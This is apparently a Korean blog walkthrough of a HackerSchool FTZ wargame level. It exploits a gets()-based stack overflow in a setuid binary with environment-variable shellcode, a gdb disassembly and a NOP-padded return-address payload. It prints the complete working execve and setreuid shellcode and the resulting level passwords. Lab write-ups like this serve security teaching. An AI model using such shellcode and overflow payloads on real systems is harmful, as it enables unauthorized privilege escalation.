-
lvl 19Wargame/HackerSchool FTZ 2019. 2. 14. 09:24
→ 힌트를 확인한다.
→ 매우 간단해 보인다. 바로 BOF 를 시도해 본다.
→ 환경변수에 쉘코드를 넣고 주소 값을 확인한다.
export SHELLCODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
#include <stdio.h>
int main()
{
printf("addr: %p\n", getenv("SHELLCODE"));
return 0;
}
[level19@ftz level19]$ export SHELLCODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
[level19@ftz level19]$ cd tmp
[level19@ftz tmp]$ ls
[level19@ftz tmp]$ vi test.c
[level19@ftz tmp]$ gcc test.c -o test
[level19@ftz tmp]$ ./test
addr:0xbffffc1d
[level19@ftz tmp]$
→ 환경변수 SHELLCODE의 주소를 알아냈으므로, RET 주소를 확인하기 위해 디버깅한다.
[level19@ftz level19]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048440 <main+0>: push ebp
0x08048441 <main+1>: mov ebp,esp
0x08048443 <main+3>: sub esp,0x28
0x08048446 <main+6>: sub esp,0xc
0x08048449 <main+9>: lea eax,[ebp-40]
0x0804844c <main+12>: push eax
0x0804844d <main+13>: call 0x80482f4 <gets>
0x08048452 <main+18>: add esp,0x10
0x08048455 <main+21>: sub esp,0x8
0x08048458 <main+24>: lea eax,[ebp-40]
0x0804845b <main+27>: push eax
0x0804845c <main+28>: push 0x80484d8
0x08048461 <main+33>: call 0x8048324 <printf>
0x08048466 <main+38>: add esp,0x10
0x08048469 <main+41>: leave
0x0804846a <main+42>: ret
0x0804846b <main+43>: nop
0x0804846c <main+44>: nop
0x0804846d <main+45>: nop
0x0804846e <main+46>: nop
0x0804846f <main+47>: nop
End of assembler dump.
(gdb)
0x28(40)바이트 할당...
→ 메모리 맵을 그릴 필요도 없이 바로 공격을 아래와 같이 시도할 수 있다.
(python -c 'print "\x90"*44+"\x1d\xfc\xff\xbf"';cat)|./attackme
[level19@ftz level19]$ (python -c 'print "\x90"*44+"\x1d\xfc\xff\xbf"';cat)|./attackme
?????????????????????????????????????????????
id
uid=3099(level19) gid=3099(level19) groups=3099(level19)
my-pass
TERM environment variable not set.
Level19 Password is "swimming in pink".
→ 하지만, level20이 아니고 level19의 my-pass가 출력된다. 분석한 결과 setreuid가 없는 파일인 것을 확인했다.
→ 해결방법을 찾기 위해서, 구글에 검색한 결과 쉘코드와 같이 setreuid가 포함된 쉘코드를 써야한다는 것을 확인할 수 있었다. 아래와 같은 쉘코드로 변경한다.
export SHELLCODE=$(python -c 'print "\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\x31\xc0\xb0\x46\xcd\x80\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
[level19@ftz tmp]$ ./test
addr:0xbffffc0f
→ 다시 페이로드를 작성하여 공격한다.
[level19@ftz level19]$ (python -c 'print "\x90"*44+"\x0f\xfc\xff\xbf"';cat)|./attackme
?????????????????????????????????????????????
id
uid=3100(level20) gid=3099(level19) groups=3099(level19)
my-pass
TERM environment variable not set.
Level20 Password is "we are just regular guys".
댓글